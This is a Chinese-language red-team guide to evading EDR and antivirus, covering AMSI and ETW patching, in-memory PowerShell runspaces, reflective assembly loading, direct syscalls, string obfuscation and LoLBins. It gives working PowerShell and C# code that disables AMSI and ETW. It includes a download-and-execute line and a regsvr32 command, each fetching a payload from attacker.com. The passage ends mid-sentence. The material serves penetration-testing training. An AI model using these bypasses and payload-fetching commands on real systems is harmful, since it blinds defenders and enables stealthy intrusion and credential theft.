# Red Team - Bypass EDR/AV [TOC] ## 核心原理與概念 現代端點偵測與回應 (Endpoint Detection and Response, EDR) 以及防毒軟體 (Antivirus, AV) 仰賴多層次的防禦機制,包括但不限於: * **檔案簽章與雜湊值比對 (Signature-based Detection):** 針對已知惡意程式碼的靜態特徵(如檔案雜湊值、特定位元組序列)進行比對。 * **行為監控 (Behavioral Monitoring):** 監控程式執行時的行為模式,例如檔案存取、網路連線、程序建立等,以偵測異常或惡意行為。 * **啟發式分析 (Heuristic Analysis):** 透過分析程式碼結構、指令語法等,判斷程式碼是否具有惡意程式的潛在特徵。 * **記憶體掃描 (Memory Scanning):** 定期或即時掃描系統記憶體,尋找惡意程式碼或惡意行為的跡象。 * **應用程式行為監控 (Application Behavior Monitoring):** 針對特定應用程式(如 PowerShell、Office 程式)的行為進行更細緻的監控,以偵測濫用或惡意利用。 * **系統事件追蹤 (Event Tracing for Windows, ETW):** 利用 ETW 機制收集系統事件,供 EDR 進行行為分析和異常偵測。 * **反惡意軟體掃描介面 (Antimalware Scan Interface, AMSI):** Windows 提供的介面,允許安全軟體掃描腳本 (PowerShell, VBScript) 和其他動態內容,以預防惡意程式碼執行。 紅隊行動中,繞過 EDR/AV 的目標是降低上述偵測機制的有效性,以便在目標系統上執行惡意操作而不被發現。以下詳細闡述各項核心原理: - **記憶體執行 (In-Memory Execution)**: - **原理:** 惡意程式碼不以檔案形式儲存於磁碟,而是直接載入到記憶體中執行。這可以繞過基於檔案簽章或雜湊值的靜態偵測。由於多數傳統防毒軟體仍側重於檔案系統的掃描,記憶體執行能有效規避此類偵測。 - **優勢:** 降低靜態偵測機率,減少磁碟足跡,增加隱蔽性。 - **相關技術:** 反射式 Assembly 載入、Runspace 技術、shellcode 注入等。 - **AMSI (Antimalware Scan Interface) 繞過**: - **原理:** AMSI 是 Windows 內建的安全介面,用於掃描 PowerShell 腳本、VBScript、JavaScript 以及其他動態內容。繞過 AMSI 的目標是阻止其掃描惡意腳本,使惡意程式碼能順利執行而不被攔截。 - **方法:** 修改 AMSI 相關函數(如 `AmsiScanBuffer`)的行為,使其永遠返回掃描成功的結果;或透過反射修改 AMSI 內部狀態,使其失效。 - **影響:** 成功繞過 AMSI 後,惡意 PowerShell 指令碼和腳本可以在系統上執行,而不會被 AMSI 攔截。 - **ETW (Event Tracing for Windows) 繞過**: - **原理:** ETW 是 Windows 核心提供的事件追蹤機制,EDR 系統常利用 ETW 收集系統事件,進行行為監控和異常偵測。繞過 ETW 的目的是阻止關鍵事件被記錄,從而降低行為偵測的風險。 - **方法:** Hook 或 Patch `EtwEventWrite` 等關鍵 ETW API 函數,使其無法正常寫入事件;或直接禁用 ETW Provider。 - **影響:** 若成功繞過 ETW,EDR 將無法收集到某些關鍵的系統行為事件,例如程序建立、網路連線、檔案操作等,降低行為監控的有效性。 - **Runspace 技術與 PowerShell 內嵌 (PowerShell Embedding)**: - **原理:** 傳統的 PowerShell 執行通常透過 `powershell.exe` 程序。EDR 系統可能會針對 `powershell.exe` 的行為進行重點監控。Runspace 技術允許在自訂的 C# 或其他 .NET 應用程式中,直接載入 PowerShell 運行環境 (Runspace),並在記憶體中執行 PowerShell 指令碼,無需啟動 `powershell.exe` 程序。 - **優勢:** 繞過針對 `powershell.exe` 程序的監控,降低被偵測的機率。 - **應用:** 可用於執行 PowerShell 工具 (PowerView, Mimikatz.ps1 等) 而不觸發基於 `powershell.exe` 的告警。 - **反射式 Assembly 載入 (Reflective Assembly Loading)**: - **原理:** .NET Framework 的 Assembly (程式集) 通常以 DLL 或 EXE 檔案形式存在。反射式載入技術允許將已編譯的 .NET Assembly (例如 Rubeus.exe, SharpHound.exe) 以 byte array 的形式讀取到記憶體中,然後透過 .NET 反射機制動態載入並執行 Assembly 中的程式碼,而無需將 Assembly 檔案寫入磁碟。 - **優勢:** 完全在記憶體中載入和執行程式碼,避免檔案落地,繞過基於檔案的靜態偵測。 - **應用:** 用於載入和執行已知可能被防毒軟體標記的工具,如滲透測試工具、後滲透工具等。 - **Syscall 直接呼叫 (Direct System Call)**: - **原理:** Windows API 的呼叫流程通常是:應用程式呼叫 Win32 API (user32.dll, kernel32.dll 等) -> Win32 API 轉調 Ntdll.dll 中的 Stub 函數 -> Stub 函數執行 `syscall` 指令,切換到核心模式,調用 Ring 0 層級的系統服務例程。EDR 系統常會在 Ntdll.dll 中的 Stub 函數上設置 Hook,監控 API 呼叫行為。Syscall 直接呼叫技術繞過 Ntdll.dll,直接執行 `syscall` 指令,調用系統服務例程,從而避開 Ntdll Hook。 - **優勢:** 繞過基於 Ntdll.dll API Hook 的行為監控,提高隱蔽性。 - **工具:** SysWhispers2, InlineSyscall 等工具可以輔助生成 Syscall 程式碼。 - **程式碼混淆與字串加密 (Obfuscation & String Encryption)**: - **原理:** 程式碼混淆旨在降低程式碼的可讀性和可分析性,使靜態分析和特徵碼偵測更加困難。字串加密則針對程式碼中可能包含敏感字串(如指令、URL、檔案路徑)進行加密,避免這些字串被靜態掃描偵測到。 - **方法:** 使用程式碼混淆工具 (ConfuserEx 等);手動或自動化地對字串進行加密 (XOR, AES, Base64 等),並在執行時動態解密。 - **目標:** 降低靜態特徵匹配度,增加逆向工程的難度,延緩或避免被基於簽章或啟發式分析的偵測。 - **LoLBins (Living-off-the-Land Binaries)**: - **原理:** 利用系統內建的、合法的、已簽名的可執行檔 (如 `rundll32.exe`, `regsvr32.exe`, `mshta.exe`, `wmic.exe`, `powershell.exe`, `MSBuild.exe` 等) 來執行惡意程式碼。由於這些程式本身是系統組件,通常會被列入白名單,或較少被 EDR 系統重點監控。 - **優勢:** 利用合法程序執行惡意操作,偽裝成正常系統行為,降低被偵測的機率。 - **應用:** 使用 LoLBins 執行惡意腳本、載入惡意 DLL、執行惡意 Assembly 等。 --- ## 攻擊手法與使用場景詳解 ### 1. AMSI 繞過技術 (AMSI Bypass) **原理深入**: AMSI (Antimalware Scan Interface) 在 Windows 系統中扮演著關鍵的腳本安全掃描角色。它主要攔截並掃描以下類型的內容: * **PowerShell 指令碼** (Scriptblock 內容) * **VBScript 程式碼** * **JavaScript 程式碼** (在特定情境下) * **動態載入的 DLL 內容** (部分情境) AMSI 的核心運作機制依賴於 `amsi.dll` 這個動態連結函式庫。當應用程式 (例如 PowerShell) 嘗試執行腳本時,會呼叫 `amsi.dll` 中的 `AmsiScanBuffer` 或 `AmsiScanString` 函數,將待掃描的內容傳遞給 AMSI 提供者 (通常是防毒軟體)。AMSI 提供者會對內容進行掃描,並返回掃描結果 (是否為惡意)。如果 AMSI 判斷為惡意,則應用程式會被阻止執行。 AMSI 繞過的目標就是干擾或禁用 AMSI 的掃描流程,使其無法正常檢測惡意內容。常見的繞過手法包括: 1. **Patch `AmsiScanBuffer` 函數:** 修改 `amsi.dll` 記憶體中 `AmsiScanBuffer` 函數的指令碼,使其直接返回掃描成功的結果 (例如,將函數開頭的指令碼改為 `xor eax, eax; ret`)。這樣,無論傳入什麼內容,`AmsiScanBuffer` 都會聲稱掃描通過。 2. **反射修改 `amsiInitFailed` 變數:** `amsi.dll` 內部有一個靜態變數 `amsiInitFailed`,用於標記 AMSI 初始化是否失敗。如果將 `amsiInitFailed` 設置為 `true`,則 AMSI 將被禁用。透過 .NET 反射機制,可以修改這個變數的值,達到禁用 AMSI 的效果。 **示例 (PowerShell 指令) - 反射修改 `amsiInitFailed`**: ```powershell [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') | ForEach-Object { $_.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) } ``` **C# 繞過範例 (Pseudo Code) - Patch `AmsiScanBuffer`**: ```csharp using System; using System.Reflection; using System.Runtime.InteropServices; class AmsiBypass { [DllImport("kernel32")] private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] private static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, UIntPtr dwSizeToProtect, uint flNewProtect, out uint lpflOldProtect); // 修正 VirtualProtect 簽名 public static bool PatchAmsiScanBuffer() { IntPtr amsi = LoadLibrary("amsi.dll"); if (amsi == IntPtr.Zero) return false; // 載入失敗處理 IntPtr AmsiScanBufferAddr = GetProcAddress(amsi, "AmsiScanBuffer"); if (AmsiScanBufferAddr == IntPtr.Zero) return false; // 函數地址獲取失敗處理 uint oldProtect = 0; UIntPtr patchSize = new UIntPtr(5); // Patch 的大小 (通常為 5 bytes 或以上) if (!VirtualProtect(AmsiScanBufferAddr, patchSize, 0x40 /*PAGE_EXECUTE_READWRITE*/, out oldProtect)) return false; // 修改權限失敗處理 // Patch: xor eax, eax; ret (將 AmsiScanBuffer 的返回值設為 0,表示掃描通過) byte[] patch = { 0x31, 0xC0, 0xC3 }; Marshal.Copy(patch, 0, AmsiScanBufferAddr, patch.Length); if (!VirtualProtect(AmsiScanBufferAddr, patchSize, oldProtect, out oldProtect)) return false; // 恢復權限失敗處理 return true; // Patch 成功 } } ``` **使用場景**: * 在執行惡意 PowerShell 腳本 (如 Mimikatz.ps1, Invoke-BloodHound.ps1, PowerSploit 工具包) 之前,先執行 AMSI 繞過程式碼,確保腳本能順利執行而不被 AMSI 攔截。 * 當需要在目標系統上使用 PowerShell 進行滲透測試或後滲透操作,但目標系統啟用了 AMSI 保護時。 **注意事項**: * AMSI 繞過技術並非萬能,某些 EDR 系統可能具有更 advanced 的 AMSI 監控機制,或者結合其他行為監控手段,仍然可以偵測到惡意行為。 * 繞過 AMSI 後,仍然可能被其他層次的防禦機制 (如行為監控、啟發式分析) 偵測到。 ### 2. ETW (Event Tracing for Windows) 繞過 (ETW Bypass) **原理深入**: ETW (Event Tracing for Windows) 是 Windows 作業系統內建的高效能事件追蹤系統。它允許系統組件和應用程式發出 (publish) 事件,並允許訂閱者 (subscriber) 接收和處理這些事件。EDR 系統廣泛使用 ETW 來收集系統事件,進行行為分析和異常偵測。 EDR 系統通常會訂閱以下類型的 ETW Provider 和事件: * **Microsoft-Windows-Kernel-Process:** 程序建立、程序結束、線程建立、線程結束等事件。 * **Microsoft-Windows-Kernel-File:** 檔案建立、檔案刪除、檔案讀寫、檔案重新命名等事件。 * **Microsoft-Windows-Kernel-Registry:** 登錄檔建立、登錄檔刪除、登錄檔修改等事件。 * **Microsoft-Windows-Networking-TCPIP:** 網路連線建立、網路連線關閉、網路資料傳輸等事件。 * **Microsoft-Windows-Security-Auditing:** 安全審計事件,例如登入成功/失敗、權限變更等。 `EtwEventWrite` 函數是核心的 ETW 事件寫入 API。當系統組件或應用程式需要發出 ETW 事件時,最終都會調用 `EtwEventWrite` 函數 (或其相關變體)。 ETW 繞過的目標是阻止或干擾 ETW 事件的寫入,使 EDR 系統無法收集到關鍵的系統行為事件。常見的繞過手法包括: 1. **Patch `EtwEventWrite` 函數:** 修改 `ntdll.dll` 記憶體中 `EtwEventWrite` 函數的指令碼,使其直接返回,阻止事件寫入。 2. **Hook `EtwEventWrite` 函數:** 透過 Hook 技術 (例如 IAT Hooking, Inline Hooking) 攔截對 `EtwEventWrite` 的調用,並在 Hook 函數中決定是否允許事件寫入,或者修改事件內容。 3. **禁用 ETW Provider:** 透過 API 或工具禁用特定的 ETW Provider,阻止該 Provider 發出的所有事件被記錄。 **C# 代碼概念 - Patch `EtwEventWrite`**: ```csharp= using System; using System.Runtime.InteropServices; class EtwBypass { [DllImport("kernel32.dll", SetLastError=true, CharSet = CharSet.Ansi)] static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); [DllImport("kernel32.dll", SetLastError=true, CharSet = CharSet.Ansi)] static extern IntPtr LoadLibraryA(string lpFileName); // 使用 LoadLibraryA 以確保 ANSI 字串 [DllImport("kernel32.dll", SetLastError = true)] static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); public static bool PatchETW() { IntPtr ntdll = LoadLibraryA("ntdll.dll"); // 使用 LoadLibraryA if (ntdll == IntPtr.Zero) return false; IntPtr etwEventWrite = GetProcAddress(ntdll, "EtwEventWrite"); if (etwEventWrite == IntPtr.Zero) return false; uint oldProtect = 0; UIntPtr patchSize = new UIntPtr(1); // Patch 大小為 1 byte (ret 指令) if (!VirtualProtect(etwEventWrite, patchSize, 0x40, out oldProtect)) return false; // Patch: ret (使 EtwEventWrite 直接返回) byte[] patch = { 0xC3 }; Marshal.Copy(patch, 0, etwEventWrite, patch.Length); if (!VirtualProtect(etwEventWrite, patchSize, oldProtect, out oldProtect)) return false; return true; } } ``` **使用場景**: * 在執行高風險操作之前,例如: * **程式碼注入 (Process Injection)**:注入 shellcode 或 DLL 到其他進程。 * **LSASS 記憶體讀取**:讀取 LSASS 進程記憶體以獲取憑證。 * **反射式載入惡意工具**:載入並執行 Rubeus, SharpHound 等工具。 * **權限提升 (Privilege Escalation)**:嘗試提權操作。 * 禁用 ETW 事件追蹤可以降低這些操作被 EDR 即時行為監控發現的機率。 **注意事項**: * ETW 繞過會顯著降低 EDR 系統的行為監控能力,但並非完全隱形。某些 EDR 系統可能具有其他監控機制,例如核心層級的 Hook, user-mode Hook, 或基於硬體的監控等。 * 禁用 ETW 也可能引起告警,因為系統事件記錄的異常中斷本身可能被視為可疑行為。 ### 3. PowerShell Runspace 技術 (In-Memory PowerShell) **原理深入**: 傳統的 PowerShell 執行通常透過 `powershell.exe` 程序啟動。EDR 系統會針對 `powershell.exe` 的行為進行重點監控,包括: * **程序啟動參數監控:** 監控 `powershell.exe` 的啟動參數,例如 `-EncodedCommand`, `-Command`, `-File` 等,以偵測惡意指令或腳本。 * **PowerShell 指令碼內容監控:** 透過 AMSI 或其他機制掃描 PowerShell 指令碼內容。 * **PowerShell 行為監控:** 監控 `powershell.exe` 進程的行為,例如網路連線、檔案存取、系統 API 調用等。 PowerShell Runspace 技術允許在自訂的 .NET 應用程式中,直接載入 PowerShell 運行環境 (Runspace),並在記憶體中執行 PowerShell 指令碼,無需啟動 `powershell.exe` 程序。這可以繞過針對 `powershell.exe` 的監控。 **示例 (C# Pseudo Code)**: ```csharp using System.Management.Automation; using System.Management.Automation.Runspaces; class RunspaceExample { public static void ExecutePowerShellScript(string script) { // 1. 建立 Runspace 環境 Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); // 2. 創建 PowerShell 物件並設定 Runspace using (PowerShell ps = PowerShell.Create()) { ps.Runspace = runspace; // 3. 添加 PowerShell 指令碼 ps.AddScript(script); // 4. 執行 PowerShell 指令碼 ps.Invoke(); } // 5. 關閉 Runspace runspace.Close(); } } ``` **使用場景**: * 需要在目標系統上使用 PowerShell 工具 (如 PowerView, SharpView, Mimikatz.ps1, PowerSploit 工具包) 進行滲透測試或後滲透操作,但又不想直接執行 `powershell.exe`,以降低被偵測的風險。 * 將 PowerShell 工具 (例如 PowerView.ps1) 內嵌到 C# 程式中,透過 Runspace 技術在記憶體中執行,避免檔案落地和 `powershell.exe` 程序啟動。 **整合 AMSI 繞過示例**: ```csharp= // 先繞過 AMSI if (AmsiBypass.PatchAmsiScanBuffer()) { Console.WriteLine("[+] AMSI bypassed successfully!"); // 執行 PowerView 腳本 (假設 PowerView.ps1 已下載到本地或從網路下載) string powerViewScript = "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/PowerView.ps1'); Get-NetDomain"; RunspaceExample.ExecutePowerShellScript(powerViewScript); } else { Console.WriteLine("[-] AMSI bypass failed!"); } ``` **注意事項**: * 即使使用 Runspace 技術,PowerShell 指令碼內容本身仍然可能被基於行為的監控或啟發式分析偵測到。 * 某些 EDR 系統可能會監控 .NET 應用程式中 Runspace 的創建和使用,以偵測惡意行為。 ### 4. 反射式 Assembly 載入 (Reflective Assembly Loading) **原理深入**: .NET Framework 的 Assembly (程式集) 通常以 DLL 或 EXE 檔案形式存在於磁碟上。傳統的程式載入方式是透過 Windows Loader 將 Assembly 檔案從磁碟讀取到記憶體中。反射式 Assembly 載入則繞過了檔案讀取步驟,直接從記憶體中的 byte array 載入 Assembly。 .NET Framework 提供了 `System.Reflection.Assembly.Load(byte[])` 方法,允許從 byte array 載入 Assembly。反射式載入的步驟通常如下: 1. **將 Assembly 檔案 (例如 Rubeus.exe) 讀取為 byte array:** 可以使用 `File.ReadAllBytes()` 方法從磁碟讀取,或者從網路下載,或者直接將 Assembly 的 byte array 硬編碼到程式碼中。 2. **使用 `Assembly.Load(byte[])` 方法載入 Assembly:** 將 byte array 作為參數傳遞給 `Assembly.Load()` 方法,即可在記憶體中載入 Assembly。 3. **透過反射機制執行 Assembly 中的程式碼:** 使用 `Assembly.EntryPoint.Invoke()` 方法調用 Assembly 的入口點函數 (通常是 `Main` 函數),即可執行 Assembly 中的程式碼。 **C# 程式碼範例**: ```csharp using System; using System.IO; using System.Reflection; class ReflectiveLoad { public static void LoadAndExecuteAssembly(string assemblyPath, string[] args) { try { // 1. 從檔案讀取 Assembly byte array byte[] asmBytes = File.ReadAllBytes(assemblyPath); // 2. 反射式載入 Assembly Assembly asm = Assembly.Load(asmBytes); // 3. 執行 Assembly 入口點 (Main 函數) if (asm.EntryPoint != null) { asm.EntryPoint.Invoke(null, new object[] { args }); // 傳遞命令行參數 } else { Console.WriteLine("[-] Assembly entry point not found."); } } catch (Exception ex) { Console.WriteLine($"[-] Error loading or executing assembly: {ex.Message}"); } } } ``` **使用場景**: * 需要執行已知可能被防毒軟體標記的滲透測試工具 (如 Rubeus, SharpHound, Seatbelt, Mimikatz.NET 等),但又不想將這些工具的 EXE/DLL 檔案寫入磁碟,以避免基於檔案的靜態偵測。 * 將工具的 Assembly byte array 內嵌到 Loader 程式中,透過反射式載入在記憶體中執行,實現無檔案執行。 **注意事項**: * 反射式載入主要繞過基於檔案的靜態偵測。Assembly 在記憶體中執行時,仍然可能被基於行為的監控或記憶體掃描偵測到。 * 某些 EDR 系統可能會監控 .NET 應用程式中 `Assembly.Load(byte[])` 的使用,以偵測反射式載入行為。 ### 5. Syscall 直接呼叫 (Direct System Call) **原理深入**: Windows API 呼叫流程中,Ntdll.dll 扮演著關鍵的角色。許多 Win32 API (例如 `CreateProcess`, `VirtualAlloc`, `WriteProcessMemory`, `NtReadVirtualMemory` 等) 在 user-mode 的實現實際上是 Ntdll.dll 中的 Stub 函數。這些 Stub 函數負責將 API 呼叫轉換為系統呼叫 (System Call),並透過 `syscall` 指令切換到核心模式,調用 Ring 0 層級的系統服務例程。 EDR 系統經常會在 Ntdll.dll 中的 Stub 函數上設置 Hook,監控應用程式的 API 呼叫行為。例如,Hook `NtCreateProcessEx` 可以監控程序創建,Hook `NtAllocateVirtualMemory` 和 `NtWriteVirtualMemory` 可以監控記憶體分配和寫入,Hook `NtReadVirtualMemory` 可以監控記憶體讀取等。 Syscall 直接呼叫技術繞過 Ntdll.dll 中的 Stub 函數,直接執行 `syscall` 指令,調用系統服務例程。這樣可以避開 EDR 系統在 Ntdll.dll 上設置的 Hook,降低被偵測的機率。 **使用範例**: 1. **使用 SysWhispers2 或 InlineSyscall 等工具生成 Syscall 程式碼:** 這些工具可以根據指定的 Windows API 名稱,生成對應的 Syscall 程式碼 (C/C++/C#)。生成的程式碼通常包含: * 系統呼叫號碼 (System Call Number) * 函數簽名 (Function Signature) * 內聯彙編 (Inline Assembly) 或其他方式執行 `syscall` 指令 2. **在 C# 程式中 Include 生成的 Syscall Wrapper 函數:** 將生成的 Syscall Wrapper 函數 (例如 `NtReadVirtualMemory_Syscall`) 引入到 C# 程式中。 3. **使用 Syscall Wrapper 函數代替傳統的 Win32 API 呼叫:** 在需要執行敏感操作時,調用 Syscall Wrapper 函數,而不是直接調用 Win32 API (例如 `ReadProcessMemory`)。 **C# 程式碼範例 (假設已生成 `NtReadVirtualMemory_Syscall` 函數)**: ```csharp= using System; using System.Runtime.InteropServices; class SyscallExample { // 假設 SysWhispers2 已產生 NtReadVirtualMemory 的 Syscall Wrapper // [DllImport("...")] // 根據 SysWhispers2 的輸出,可能需要 DllImport 或其他聲明 // static extern UInt32 NtReadVirtualMemory_Syscall(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, UInt32 NumberOfBytesToRead, out UInt32 NumberOfBytesRead); // ^^^ 需要根據 SysWhispers2 的輸出修改函數聲明 ^^^ // 實際使用時,需要將 SysWhispers2 生成的程式碼加入到專案中,並正確聲明 NtReadVirtualMemory_Syscall 函數 public static byte[] ReadProcessMemorySyscall(IntPtr hProcess, IntPtr address, int length) { byte[] buffer = new byte[length]; UInt32 bytesRead = 0; // 使用 UInt32 類型 // 呼叫直接使用 syscall 的函數,而非透過 Ntdll stub // 注意:這裡需要根據實際 SysWhispers2 生成的函數聲明進行調整 // 假設生成的函數返回 NTSTATUS,需要檢查返回值判斷是否成功 UInt32 status = NtReadVirtualMemory_Syscall(hProcess, address, Marshal.UnsafeAddrOfPinnedArrayElement(buffer, 0), (UInt32)length, out bytesRead); if (status != 0) // 假設 0 代表成功 (NTSTATUS_SUCCESS) { Console.WriteLine($"[-] NtReadVirtualMemory_Syscall failed with status: 0x{status:X}"); return null; // 處理錯誤情況 } return buffer; } } ``` **使用場景**: * 在進行敏感操作時,例如: * **Token 盜用 (Token Impersonation/Stealing)** * **程序注入 (Process Injection)** * **LSASS 記憶體讀取 (LSASS Memory Dumping)** * **特權操作 (Privileged Operations)** * 使用 Syscall 技術可以繞過基於 Ntdll API Hook 的 EDR 監控,提高操作的隱蔽性。 **注意事項**: * Syscall 直接呼叫技術相對複雜,需要處理系統呼叫號碼的穩定性問題 (系統呼叫號碼可能在不同 Windows 版本之間發生變化)。SysWhispers2 等工具可以部分解決這個問題。 * 某些 EDR 系統可能會監控異常的 Syscall 行為,例如應用程式直接執行 `syscall` 指令,而不是透過 Ntdll API 呼叫。 * Syscall 技術並非完全隱形,仍然可能被其他更底層的監控機制偵測到。 ### 6. 程式碼混淆與字串加密 (Obfuscation & String Encryption) **原理深入**: 程式碼混淆和字串加密是常見的程式碼保護技術,也常被用於繞過基於靜態分析和特徵碼偵測的 EDR/AV 系統。 **程式碼混淆 (Obfuscation)** 的目標是使程式碼難以理解和分析,但保持程式碼的功能不變。常見的混淆技術包括: * **控制流混淆 (Control Flow Obfuscation):** 修改程式碼的控制流結構,例如插入無用的條件判斷、循環、goto 語句,使程式碼執行流程更加複雜。 * **數據流混淆 (Data Flow Obfuscation):** 修改程式碼的數據流,例如將變數拆分為多個部分、使用複雜的運算替代簡單的運算、使用不透明謂詞等,使數據的流向更加模糊。 * **佈局混淆 (Layout Obfuscation):** 移除程式碼中的註解、空白、格式化,將變數、函數、類別名稱替換為無意義的隨機字串,降低程式碼的可讀性。 * **虛假程式碼插入 (Dummy Code Insertion):** 在程式碼中插入不影響程式功能但可以迷惑分析工具的虛假程式碼。 **字串加密 (String Encryption)** 的目標是保護程式碼中的敏感字串,例如指令、URL、檔案路徑、API 名稱等,避免這些字串被靜態掃描偵測到。常見的字串加密方法包括: * **簡單加密:** 例如 XOR 加密、Base64 編碼等。 * **對稱加密:** 例如 AES, DES 等。 * **非對稱加密:** 例如 RSA, ECC 等 (較少用於字串加密,因為效能較低)。 字串加密通常需要在程式執行時進行解密,才能正常使用。解密邏輯本身也可能需要進行混淆處理。 **工具**: * **ConfuserEx:** 一個開源的 .NET 程式碼混淆工具,可以對 C# 程式進行混淆、壓縮、加密等處理。 * **商業混淆工具:** 例如 Dotfuscator, Eazfuscator.NET 等。 * **自製混淆工具/腳本:** 可以使用程式碼或腳本 (例如 Python) 實現簡單的混淆和字串加密功能。 **C# 程式碼範例 - 字串解密**: ```csharp= using System; using System.Text; class StringObfuscation { // 簡化的 XOR 解密函數 static string DecryptString(string encryptedStr, byte key) { byte[] encryptedBytes = Convert.FromBase64String(encryptedStr); byte[] decryptedBytes = new byte[encryptedBytes.Length]; for (int i = 0; i < encryptedBytes.Length; i++) { decryptedBytes[i] = (byte)(encryptedBytes[i] ^ key); // XOR 解密 } return Encoding.UTF8.GetString(decryptedBytes); } public static void RunTool() { // 加密的 PowerShell 指令碼 (Base64 編碼 + XOR 加密) string encCmd = "BASE64ENCODED_XOR_ENCRYPTED_POWERSHELL_COMMAND"; byte decryptionKey = 0xAA; // 解密金鑰 // 動態解密指令碼 string realCmd = DecryptString(encCmd, decryptionKey); Console.WriteLine($"[+] Decrypted command: {realCmd}"); // 執行解密後的指令碼 (例如使用 Runspace 技術) RunspaceExample.ExecutePowerShellScript(realCmd); } } ``` **使用場景**: * 當已知目標環境的 EDR/AV 系統對明文的惡意工具有簽章偵測時,可以使用程式碼混淆和字串加密技術,降低特徵匹配度,減少被靜態偵測的機率。 * 對於需要硬編碼到程式碼中的敏感字串 (例如 C2 伺服器地址、API 金鑰等),可以使用字串加密進行保護,防止洩露。 **注意事項**: * 程式碼混淆和字串加密主要目的是延緩或增加靜態分析的難度,但並不能完全阻止逆向工程和行為分析。 * 過度複雜的混淆可能會影響程式的效能,並且可能增加開發和維護的難度。 * 某些 EDR 系統可能會針對常見的混淆模式或解密邏輯進行偵測。 ### 7. LoLBins (Living-off-the-Land Binaries) **原理深入**: LoLBins (Living-off-the-Land Binaries) 指的是 Windows 系統內建的、合法的、已簽名的可執行檔,攻擊者可以利用這些工具來執行惡意操作,以偽裝成正常的系統行為,繞過或降低 EDR/AV 的偵測。 LoLBins 的優勢在於: * **合法性:** 這些工具是系統組件,本身是合法的,不會被防毒軟體直接標記為惡意。 * **已簽名:** 通常具有合法的數位簽章,可以繞過基於數位簽章的驗證機制。 * **常用性:** 某些 LoLBins 是系統管理員常用的工具,其正常使用行為與惡意使用行為可能難以區分。 * **多功能性:** 許多 LoLBins 具有豐富的功能,可以用於執行各種惡意操作,例如程式執行、檔案操作、網路連線、權限提升等。 常見的 LoLBins 工具包括: * **`rundll32.exe`:** 用於執行 DLL 檔案中的導出函數。可用於執行惡意 DLL payload。 * **`regsvr32.exe`:** 用於註冊和反註冊 COM 組件。可用於執行惡意 COM 組件或 SCT 檔案。 * **`mshta.exe`:** Microsoft HTML 應用程式主機。可用於執行 HTML 應用程式 (.hta 檔案) 或遠端 HTML 程式碼。 * **`wmic.exe`:** Windows Management Instrumentation Command-line。可用於執行 WMI 命令,包括程式執行、系統管理等。 * **`powershell.exe`:** PowerShell 命令行介面。雖然 `powershell.exe` 本身可能被監控,但合法的系統管理任務也可能使用 PowerShell。 * **`MSBuild.exe`:** Microsoft Build Engine。可用於編譯和執行 .NET 專案檔案 (.csproj)。可用於執行惡意 C# 程式碼。 * **`InstallUtil.exe`:** .NET Framework 安裝工具。可用於執行惡意 .NET Assembly。 * **`csc.exe`:** C# 編譯器。可用於編譯 C# 程式碼並執行。 * **`ftp.exe`, `tftp.exe`:** 檔案傳輸工具。可用於下載或上傳惡意檔案。 * **`certutil.exe`:** 憑證管理工具。可用於下載檔案、編碼/解碼檔案等。 **範例 - 使用 `regsvr32.exe` 執行遠端 SCT 檔案**: ```powershell regsvr32 /u /n /s /i:http://attacker.com/file.sct scrobj.dll ``` * `/u`: 反註冊 COM 組件 (scrobj.dll)。 * `/n`: 不調用 DllRegisterServer 函數。 * `/s`: 靜默執行,不顯示訊息框。 * `/i:http://attacker.com/file.sct`: 指定要執行的 SCT 檔案 URL。 * `scrobj.dll`: Script Component Runtime DLL,用於執行 SCT 檔案。 這個命令會使用 `regsvr32.exe` 程序,從 `http://attacker.com/file.sct` 下載 SCT 檔案,並使用 `scrobj.dll` 執行其中的惡意程式碼。由於 `regsvr32.exe` 是系統合法工具,可能降低被偵測的機率。 **使用場景**: * 當已滲透到目標系統,需要在系統上執行惡意 Payload,但又希望保持低調,避免觸發 EDR/AV 告警時,可以使用 LoLBins 來執行惡意程式碼。 * 利用 LoLBins 執行惡意腳本、載入惡意 DLL、執行惡意 Assembly、進行系統管理操作等。 **注意事項**: * 雖然 LoLBins 本身是合法工具,但其惡意使用行為仍然可能被 EDR 系統偵測到。EDR 系統可能會監控 LoLBins 的命令行參數、執行行為、網路連線等,以判斷是否為惡意使用。 * 過度濫用 LoLBins 也可能引起告警,因為異常頻繁或異常方式使用系統工具本身也可能被視為可疑行為。 --- ## 綜合示例場景 以下是一些綜合利用多種繞過技術的示例場景: 1. **AMSI & ETW Bypass + Runspace 整合**: * **目標:** 在目標系統上執行 PowerView.ps1 腳本,收集 Active Directory 資訊,並分析攻擊路徑,同時盡可能繞過 EDR 偵測。 * **技術組合:** * **AMSI Bypass:** 在 C# Loader 程式碼中,首先使用 P/Invoke 技術 Patch `amsi.dll` 中的 `AmsiScanBuffer` 函數,繞過 AMSI 掃描。 * **ETW Bypass:** 同時 Patch `ntdll.dll` 中的 `EtwEventWrite` 函數,禁用 ETW 事件追蹤。 * **Runspace 技術:** 使用 Runspace 技術在 C# 程式碼中直接執行 PowerView.ps1 腳本,避免啟動 `powershell.exe` 程序。 * **執行流程:** * 執行 C# Loader 程式。 * Loader 程式首先執行 AMSI Bypass 和 ETW Bypass。 * Loader 程式使用 Runspace 技術載入 PowerView.ps1 腳本 (可以從本地檔案讀取或從網路下載)。 * Loader 程式執行 PowerView.ps1 腳本,收集 AD 資訊。 * Loader 程式將收集到的資訊輸出或回傳給攻擊者。 * **優勢:** 綜合利用 AMSI Bypass, ETW Bypass 和 Runspace 技術,可以有效降低被基於腳本掃描、行為監控和 `powershell.exe` 程序監控的 EDR 系統偵測到的機率。 2. **Reflective Assembly + Syscall + 程式碼混淆**: * **目標:** 在目標系統上執行 Rubeus.exe 工具,進行 Kerberos 相關的攻擊 (例如 Kerberoasting),同時盡可能繞過 EDR 偵測。 * **技術組合:** * **反射式 Assembly 載入:** 將 Rubeus.exe 工具的 Assembly byte array 內嵌到 C# Loader 程式碼中,使用 `Assembly.Load(byte[])` 方法反射式載入 Rubeus.exe,避免檔案落地。 * **Syscall 直接呼叫:** 在 